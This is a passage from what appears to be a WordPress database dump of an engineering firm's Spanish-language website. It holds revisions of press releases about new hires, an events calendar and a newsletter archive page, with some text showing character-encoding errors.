width=\"226\" height=\"191\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"colombia-new\">LONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York de la firma. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la firma. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela. \r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro del estado de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. La señora Junold es una ingeniera colegiada en el Reino Unido y obtuvo su maestría de Hidráulica en ingeniería civil de la universidad de Salford, Reino Unido.  \r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n\r\n</div>\r\n</div>\r\n&nbsp;\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Comunicados de prensa','','inherit','open','open','','73-autosave','','','2012-06-15 09:23:02','2012-06-15 09:23:02','',73,'http://moffattnichol.com/spanish/73-autosave/',0,'revision','',0),(2519,1,'2011-10-18 11:40:30','2011-10-18 11:40:30','<div class=\"content_faq\">\n<h1>comunicados de prensa</h1>\n<div class=\"press-release-para\">En Moffatt &amp; Nichol estamos justificadamente orgullosos de nuestros empleados y de los proyectos en que trabajamos. Nuestra meta es proporcionar la informaciÃ³n que los clientes, los medios y los solicitantes de empleo necesitan sobre nuestros mercados, nuestra gente y nuestros servicios. Nuestros comunicados de prensa, prÃ³ximos eventos y boletines de noticias le dan una buena idea de quiÃ©n somos. Si aÃºn tiene preguntas sobre la compaÃ±Ãa o si desea ser agregado a nuestra lista de distribuciÃ³n del boletÃn de noticias <a href=\"mailto:news@moffattnichol.com\" title=\"Haga clic aquÃ\">haga clic aquÃ </a></div>\n&nbsp; <h3>Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\n<div class=\"colombia_one\">\n<div class=\"press_release_left\">\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\n</div>\n<div class=\"colombia-new\">LONG BEACH, CA, 13 de diciembre, 2011â€”Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la firma. El ingeniero Antonucci aporta a Moffatt & Nichol sus mÃ¡s de 30 aÃ±os de experiencia en ingenierÃa, incluyendo mÃ¡s de 15 aÃ±os con TY Lin International en el planeamiento y diseÃ±o de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\n\nSu experiencia incluye el diseÃ±o de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los Ãºltimos 15 aÃ±os, ha estado enfocado especÃficamente en la gerencia de proyectos de tareas complejas que requerÃan grandes equipos multidisciplinarios. Su trabajo ha incluido mÃ¡s de 200 proyectos de puentes individuales. Con una gran experiencia en el diseÃ±o de puentes para Caltrans (Departamento de Transportes de California), ha completado muchos proyectos de carreteras estatales que necesitaban la revisiÃ³n y aprobaciÃ³n de Caltrans.\n\nLa experiencia del ingeniero Antonucci tambiÃ©n incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglÃ©s) federal y ha completado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de proyectos o Ingeniero estructural principal para mÃ¡s de 20 pasos a desnivel de carreteras/vÃas fÃ©rreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, asÃ como preparar acuerdos con la ComisiÃ³n de Servicios PÃºblicos (PUC, por sus siglas en inglÃ©s) y ferroviarios. El seÃ±or Antonucci es un ingeniero profesional y recibiÃ³ su grado de ingenierÃa civil de la Universidad PolitÃ©cnica del estado de California, Pomona.\n\n</div>\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n&nbsp; <h3>Carlos Noguera se une a la firma como Gerente General para la oficina de Colombia</h3>\n<div class=\"press_release_left\">\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new-two.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\n</div>\n<div class=\"colombia-new\">LONG BEACH, CA, 13 de diciembre, 2011â€”Moffatt & Nichol da la bienvenida a la firma a Carlos Noguera como Gerente General para la oficina de Colombia S.A.S. El ingeniero Noguera aporta mÃ¡s de 30 aÃ±os de experiencia y un profundo conocimiento de la industria de la ingenierÃa de Colombia, especÃficamente en las Ã¡reas de consultorÃa medioambiental, evaluaciÃ³n de la calidad del agua, diseÃ±o de canales de navegaciÃ³n, dragado y estudios de factibilidad econÃ³mica y tÃ©cnica en Colombia y a nivel mundial.\n\nEl ingeniero Noguera se une a Moffatt & Nichol despuÃ©s de trabajar mÃ¡s de 30 aÃ±os con la compaÃ±Ãa colombiana HMV Ingenieros, donde tuvo un papel importante como Representante legal e Ingeniero director general desde 2002, supervisando proyectos en los sectores privado y pÃºblico. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyÃ³ el diseÃ±o del acceso al canal de navegaciÃ³n al puerto de Buenaventura, Colombia donde fue un factor clave en los logros de la firma en Colombia.\n \nSu experiencia profesional tambiÃ©n incluye la evaluaciÃ³n de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecuciÃ³n de estudios sobre la evaluaciÃ³n de riesgos naturales, el diseÃ±o de canales de navegaciÃ³n, sistemas de atraque y dragas.\n\nEl ingeniero Noguera tiene el grado en ingenierÃa civil de la Universidad La Gran Colombia y una especializaciÃ³n en EvaluaciÃ³n del impacto medioambiental de la Universidad Jorge Tadeo Lozano â€“ Tuffs University, en BogotÃ¡, Colombia. \n\n</div>\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n&nbsp; <h3>Helga Junold encabezarÃ¡ Grupo comercial global con sede en Nueva York</h3>\n<div class=\"press_release_left\">\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new-one.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\n</div>\n<div class=\"colombia-new\">LONG BEACH, CA, 30 de noviembre, 2011 â€” Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York de la firma. La ingeniera Junold se une a Moffatt & Nichol despuÃ©s de trabajar mÃ¡s de 20 aÃ±os con Halcrow, donde puso en marcha la presencia estadounidense de la firma. DirigiÃ³ e incrementÃ³ una importante y exitosa especialidad consultiva de transacciones estratÃ©gicas en las Ã¡reas de puertos, carga, logÃstica y asociaciones pÃºblico-privadas, reuniendo competencias en ingenierÃa civil, financiamiento del desarrollo de infraestructura y administraciÃ³n general.\n\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y AmÃ©rica Latina. TrabajÃ³ con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantÃa de crÃ©ditos a la exportaciÃ³n del Reino Unido, y dirigiÃ³ importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela. \n\nTambiÃ©n ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la CorporaciÃ³n de Desarrollo EconÃ³mico de Nueva York, el Departamento del Tesoro del estado de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. La seÃ±ora Junold es una ingeniera colegiada en el Reino Unido y obtuvo su maestrÃa de HidrÃ¡ulica en ingenierÃa civil de la universidad de Salford, Reino Unido. \n</div>\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n&nbsp;\n\n</div>\n</div>\n&nbsp;\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Comunicados de prensa','','inherit','open','open','','73-revision','','','2011-10-18 11:40:30','2011-10-18 11:40:30','',73,'http://moffattnichol.com/spanish/73-revision/',0,'revision','',0),(2520,1,'2012-05-29 06:32:53','2012-05-29 06:32:53','<div class=\"content-speakers\">\r\n<h1>eventos presentados</h1>\r\n<div class=\"calender-left\">\r\n\r\n<strong>Conferencia costera ASBPA</strong>\r\n\r\n<span class=\"aapa-date\">28 de febrero - 1 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Esta conferencia atrae a Washington a todos los que participan en la preservaciÃ³n de las playas para compartir nuestra gran preocupaciÃ³n sobre la gestiÃ³n futura de las playas y riberas de Estados Unidos. Los polÃticos, cientÃficos, ingenieros, planificadores, funcionarios del gobierno y usuarios de las playas interesados obtendrÃ¡n una mirada muy de cerca de los aspectos crÃticos que afectan la preservaciÃ³n y gestiÃ³n de las playas y podrÃ¡n comunicarse directamente con sus principales responsables.</p>\r\n&nbsp;\r\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.asbpa.org/conferences/sum_12.htm\">MÃ¡s informaciÃ³n</a>&nbsp; | &nbsp;<a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n<p class=\"moreheadlines-newone\">&nbsp;</p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n\r\n<strong>Conferencia y cena de primavera por el centenario de la AAPA</strong>\r\n\r\n<span class=\"aapa-date\">18-21 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Viaje a la capital de EE.UU. a esta reuniÃ³n de profesionales portuarios de todo el hemisferio.Â Â Una de las dos reuniones anuales de miembros de la AAPA, la conferencia de primavera se celebra cada aÃ±o en Washington, D.C. y cuenta con sesiones generales asÃ como con reuniones del ComitÃ© y del Consejo.</p>\r\n<p class=\"events-textbox-one\">&nbsp; </p>\r\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.aapa-ports.org/Programs/seminarschedule.cfm?itemnumber=18109\">MÃ¡s informaciÃ³n</a>&nbsp; | &nbsp;<a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n\r\n</div>\r\n<div class=\"clear\"></div>\r\n<h3>calendario de eventos</h3>\r\n</div>','Calendario','','inherit','open','open','','240-revision-4','','','2012-05-29 06:32:53','2012-05-29 06:32:53','',240,'http://moffattnichol.com/spanish/240-revision-4/',0,'revision','',0),(2521,1,'2012-06-18 10:02:49','2012-06-18 10:02:49','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 7, número 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 7, número 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','inherit','open','open','','75-autosave','','','2012-06-18 10:02:49','2012-06-18 10:02:49','',75,'http://moffattnichol.com/spanish/75-autosave/',0,'revision','',0),(2522,1,'2012-05-29 05:54:46','2012-05-29 05:54:46','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>Ãºltimo boletÃn de noticias</h1>\r\n<p><em>Volumen 9, nÃºmero 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision-8','','','2012-05-29 05:54:46','2012-05-29 05:54:46','',75,'http://moffattnichol.com/spanish/75-revision-8/',0,'revision','',0),(2523,1,'2012-06-15 09:45:55','2012-06-15 09:45:55','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, 